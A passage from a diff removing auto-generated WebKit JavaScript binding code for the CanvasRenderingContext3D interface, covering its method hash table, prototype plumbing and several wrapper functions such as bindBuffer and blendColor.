-    { "blendColor", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBlendColor, (intptr_t)4 },
-    { "blendEquation", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBlendEquation, (intptr_t)1 },
-    { "blendEquationSeparate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBlendEquationSeparate, (intptr_t)2 },
-    { "blendFunc", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBlendFunc, (intptr_t)2 },
-    { "blendFuncSeparate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBlendFuncSeparate, (intptr_t)4 },
-    { "bufferData", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBufferData, (intptr_t)0 },
-    { "bufferSubData", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionBufferSubData, (intptr_t)0 },
-    { "checkFramebufferStatus", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCheckFramebufferStatus, (intptr_t)1 },
-    { "clear", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionClear, (intptr_t)1 },
-    { "clearColor", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionClearColor, (intptr_t)4 },
-    { "clearDepth", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionClearDepth, (intptr_t)1 },
-    { "clearStencil", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionClearStencil, (intptr_t)1 },
-    { "colorMask", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionColorMask, (intptr_t)4 },
-    { "compileShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCompileShader, (intptr_t)1 },
-    { "copyTexImage2D", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCopyTexImage2D, (intptr_t)8 },
-    { "copyTexSubImage2D", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCopyTexSubImage2D, (intptr_t)8 },
-    { "createBuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateBuffer, (intptr_t)0 },
-    { "createFramebuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateFramebuffer, (intptr_t)0 },
-    { "createProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateProgram, (intptr_t)0 },
-    { "createRenderbuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateRenderbuffer, (intptr_t)0 },
-    { "createShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateShader, (intptr_t)1 },
-    { "createTexture", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCreateTexture, (intptr_t)0 },
-    { "cullFace", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionCullFace, (intptr_t)1 },
-    { "deleteBuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteBuffer, (intptr_t)1 },
-    { "deleteFramebuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteFramebuffer, (intptr_t)1 },
-    { "deleteProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteProgram, (intptr_t)1 },
-    { "deleteRenderbuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteRenderbuffer, (intptr_t)1 },
-    { "deleteShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteShader, (intptr_t)1 },
-    { "deleteTexture", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDeleteTexture, (intptr_t)1 },
-    { "depthFunc", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDepthFunc, (intptr_t)1 },
-    { "depthMask", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDepthMask, (intptr_t)1 },
-    { "depthRange", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDepthRange, (intptr_t)2 },
-    { "detachShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDetachShader, (intptr_t)2 },
-    { "disable", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDisable, (intptr_t)1 },
-    { "disableVertexAttribArray", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDisableVertexAttribArray, (intptr_t)1 },
-    { "drawArrays", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDrawArrays, (intptr_t)3 },
-    { "drawElements", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionDrawElements, (intptr_t)4 },
-    { "enable", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionEnable, (intptr_t)1 },
-    { "enableVertexAttribArray", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionEnableVertexAttribArray, (intptr_t)1 },
-    { "finish", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionFinish, (intptr_t)0 },
-    { "flush", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionFlush, (intptr_t)0 },
-    { "framebufferRenderbuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionFramebufferRenderbuffer, (intptr_t)4 },
-    { "framebufferTexture2D", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionFramebufferTexture2D, (intptr_t)5 },
-    { "frontFace", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionFrontFace, (intptr_t)1 },
-    { "generateMipmap", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGenerateMipmap, (intptr_t)1 },
-    { "getActiveAttrib", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetActiveAttrib, (intptr_t)2 },
-    { "getActiveUniform", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetActiveUniform, (intptr_t)2 },
-    { "getAttribLocation", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetAttribLocation, (intptr_t)2 },
-    { "getBoolean", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetBoolean, (intptr_t)1 },
-    { "getBooleanv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetBooleanv, (intptr_t)1 },
-    { "getBufferParameteri", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteri, (intptr_t)2 },
-    { "getBufferParameteriv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteriv, (intptr_t)2 },
-    { "getError", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetError, (intptr_t)0 },
-    { "getFloat", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetFloat, (intptr_t)1 },
-    { "getFloatv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetFloatv, (intptr_t)1 },
-    { "getFramebufferAttachmentParameteri", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteri, (intptr_t)3 },
-    { "getFramebufferAttachmentParameteriv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteriv, (intptr_t)3 },
-    { "getInteger", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetInteger, (intptr_t)1 },
-    { "getIntegerv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetIntegerv, (intptr_t)1 },
-    { "getProgrami", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetProgrami, (intptr_t)2 },
-    { "getProgramiv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetProgramiv, (intptr_t)2 },
-    { "getProgramInfoLog", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetProgramInfoLog, (intptr_t)1 },
-    { "getRenderbufferParameteri", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteri, (intptr_t)2 },
-    { "getRenderbufferParameteriv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteriv, (intptr_t)2 },
-    { "getShaderi", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetShaderi, (intptr_t)2 },
-    { "getShaderiv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetShaderiv, (intptr_t)2 },
-    { "getShaderInfoLog", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetShaderInfoLog, (intptr_t)1 },
-    { "getShaderSource", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetShaderSource, (intptr_t)1 },
-    { "getString", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetString, (intptr_t)1 },
-    { "getTexParameterf", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterf, (intptr_t)2 },
-    { "getTexParameterfv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterfv, (intptr_t)2 },
-    { "getTexParameteri", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteri, (intptr_t)2 },
-    { "getTexParameteriv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteriv, (intptr_t)2 },
-    { "getUniformf", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetUniformf, (intptr_t)2 },
-    { "getUniformfv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetUniformfv, (intptr_t)2 },
-    { "getUniformi", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetUniformi, (intptr_t)2 },
-    { "getUniformiv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetUniformiv, (intptr_t)2 },
-    { "getUniformLocation", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetUniformLocation, (intptr_t)2 },
-    { "getVertexAttribf", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribf, (intptr_t)2 },
-    { "getVertexAttribfv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribfv, (intptr_t)2 },
-    { "getVertexAttribi", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribi, (intptr_t)2 },
-    { "getVertexAttribiv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribiv, (intptr_t)2 },
-    { "getVertexAttribOffset", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribOffset, (intptr_t)2 },
-    { "hint", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionHint, (intptr_t)2 },
-    { "isBuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsBuffer, (intptr_t)1 },
-    { "isEnabled", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsEnabled, (intptr_t)1 },
-    { "isFramebuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsFramebuffer, (intptr_t)1 },
-    { "isProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsProgram, (intptr_t)1 },
-    { "isRenderbuffer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsRenderbuffer, (intptr_t)1 },
-    { "isShader", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsShader, (intptr_t)1 },
-    { "isTexture", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionIsTexture, (intptr_t)1 },
-    { "lineWidth", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionLineWidth, (intptr_t)1 },
-    { "linkProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionLinkProgram, (intptr_t)1 },
-    { "pixelStorei", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionPixelStorei, (intptr_t)2 },
-    { "polygonOffset", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionPolygonOffset, (intptr_t)2 },
-    { "readPixels", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionReadPixels, (intptr_t)6 },
-    { "releaseShaderCompiler", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionReleaseShaderCompiler, (intptr_t)0 },
-    { "renderbufferStorage", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionRenderbufferStorage, (intptr_t)4 },
-    { "sampleCoverage", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionSampleCoverage, (intptr_t)2 },
-    { "scissor", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionScissor, (intptr_t)4 },
-    { "shaderSource", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionShaderSource, (intptr_t)2 },
-    { "stencilFunc", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilFunc, (intptr_t)3 },
-    { "stencilFuncSeparate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilFuncSeparate, (intptr_t)4 },
-    { "stencilMask", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilMask, (intptr_t)1 },
-    { "stencilMaskSeparate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilMaskSeparate, (intptr_t)2 },
-    { "stencilOp", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilOp, (intptr_t)3 },
-    { "stencilOpSeparate", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionStencilOpSeparate, (intptr_t)4 },
-    { "texParameterf", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionTexParameterf, (intptr_t)3 },
-    { "texParameteri", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionTexParameteri, (intptr_t)3 },
-    { "texImage2D", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionTexImage2D, (intptr_t)0 },
-    { "texSubImage2D", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionTexSubImage2D, (intptr_t)0 },
-    { "uniform1f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform1f, (intptr_t)2 },
-    { "uniform1fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform1fv, (intptr_t)2 },
-    { "uniform1i", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform1i, (intptr_t)2 },
-    { "uniform1iv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform1iv, (intptr_t)2 },
-    { "uniform2f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform2f, (intptr_t)3 },
-    { "uniform2fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform2fv, (intptr_t)2 },
-    { "uniform2i", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform2i, (intptr_t)3 },
-    { "uniform2iv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform2iv, (intptr_t)2 },
-    { "uniform3f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform3f, (intptr_t)4 },
-    { "uniform3fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform3fv, (intptr_t)2 },
-    { "uniform3i", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform3i, (intptr_t)4 },
-    { "uniform3iv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform3iv, (intptr_t)2 },
-    { "uniform4f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform4f, (intptr_t)5 },
-    { "uniform4fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform4fv, (intptr_t)2 },
-    { "uniform4i", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform4i, (intptr_t)5 },
-    { "uniform4iv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniform4iv, (intptr_t)2 },
-    { "uniformMatrix2fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix2fv, (intptr_t)3 },
-    { "uniformMatrix3fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix3fv, (intptr_t)3 },
-    { "uniformMatrix4fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix4fv, (intptr_t)3 },
-    { "useProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionUseProgram, (intptr_t)1 },
-    { "validateProgram", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionValidateProgram, (intptr_t)1 },
-    { "vertexAttrib1f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1f, (intptr_t)2 },
-    { "vertexAttrib1fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1fv, (intptr_t)2 },
-    { "vertexAttrib2f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2f, (intptr_t)3 },
-    { "vertexAttrib2fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2fv, (intptr_t)2 },
-    { "vertexAttrib3f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3f, (intptr_t)4 },
-    { "vertexAttrib3fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3fv, (intptr_t)2 },
-    { "vertexAttrib4f", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4f, (intptr_t)5 },
-    { "vertexAttrib4fv", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4fv, (intptr_t)2 },
-    { "vertexAttribPointer", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionVertexAttribPointer, (intptr_t)6 },
-    { "viewport", DontDelete|Function, (intptr_t)jsCanvasRenderingContext3DPrototypeFunctionViewport, (intptr_t)4 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasRenderingContext3DPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 65535, JSCanvasRenderingContext3DPrototypeTableValues, 0 };
-#else
-    { 1104, 1023, JSCanvasRenderingContext3DPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasRenderingContext3DPrototype::s_info = { "CanvasRenderingContext3DPrototype", 0, &JSCanvasRenderingContext3DPrototypeTable, 0 };
-
-JSObject* JSCanvasRenderingContext3DPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasRenderingContext3D>(exec, globalObject);
-}
-
-bool JSCanvasRenderingContext3DPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticPropertySlot<JSCanvasRenderingContext3DPrototype, JSObject>(exec, &JSCanvasRenderingContext3DPrototypeTable, this, propertyName, slot);
-}
-
-bool JSCanvasRenderingContext3DPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticPropertyDescriptor<JSCanvasRenderingContext3DPrototype, JSObject>(exec, &JSCanvasRenderingContext3DPrototypeTable, this, propertyName, descriptor);
-}
-
-const ClassInfo JSCanvasRenderingContext3D::s_info = { "CanvasRenderingContext3D", &JSCanvasRenderingContext::s_info, &JSCanvasRenderingContext3DTable, 0 };
-
-JSCanvasRenderingContext3D::JSCanvasRenderingContext3D(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasRenderingContext3D> impl)
-    : JSCanvasRenderingContext(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasRenderingContext3D::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasRenderingContext3DPrototype(JSCanvasRenderingContext3DPrototype::createStructure(JSCanvasRenderingContextPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasRenderingContext3D::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticValueSlot<JSCanvasRenderingContext3D, Base>(exec, &JSCanvasRenderingContext3DTable, this, propertyName, slot);
-}
-
-bool JSCanvasRenderingContext3D::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticValueDescriptor<JSCanvasRenderingContext3D, Base>(exec, &JSCanvasRenderingContext3DTable, this, propertyName, descriptor);
-}
-
-JSValue jsCanvasRenderingContext3DConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
-{
-    JSCanvasRenderingContext3D* domObject = static_cast<JSCanvasRenderingContext3D*>(asObject(slot.slotBase()));
-    return JSCanvasRenderingContext3D::getConstructor(exec, domObject->globalObject());
-}
-JSValue JSCanvasRenderingContext3D::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMConstructor<JSCanvasRenderingContext3DConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionSizeInBytes(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    ExceptionCode ec = 0;
-    unsigned type = args.at(0).toInt32(exec);
-
-
-    JSC::JSValue result = jsNumber(exec, imp->sizeInBytes(type, ec));
-    setDOMException(exec, ec);
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionActiveTexture(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned texture = args.at(0).toInt32(exec);
-
-    imp->activeTexture(texture);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionAttachShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    CanvasShader* shader = toCanvasShader(args.at(1));
-
-    imp->attachShader(program, shader);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindAttribLocation(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-    unsigned index = args.at(1).toInt32(exec);
-    const UString& name = args.at(2).toString(exec);
-
-    imp->bindAttribLocation(program, index, name);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindBuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    CanvasBuffer* buffer = toCanvasBuffer(args.at(1));
-
-    imp->bindBuffer(target, buffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindFramebuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    CanvasFramebuffer* framebuffer = toCanvasFramebuffer(args.at(1));
-
-    imp->bindFramebuffer(target, framebuffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindRenderbuffer(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    CanvasRenderbuffer* renderbuffer = toCanvasRenderbuffer(args.at(1));
-
-    imp->bindRenderbuffer(target, renderbuffer);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindTexture(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    CanvasTexture* texture = toCanvasTexture(args.at(1));
-
-    imp->bindTexture(target, texture);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendColor(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double red = args.at(0).toNumber(exec);
-    double green = args.at(1).toNumber(exec);
-    double blue = args.at(2).toNumber(exec);
-    double alpha = args.at(3).toNumber(exec);
-
-    imp->blendColor(red, green, blue, alpha);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendEquation(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mode = args.at(0).toInt32(exec);
-
-    imp->blendEquation(mode);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendEquationSeparate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
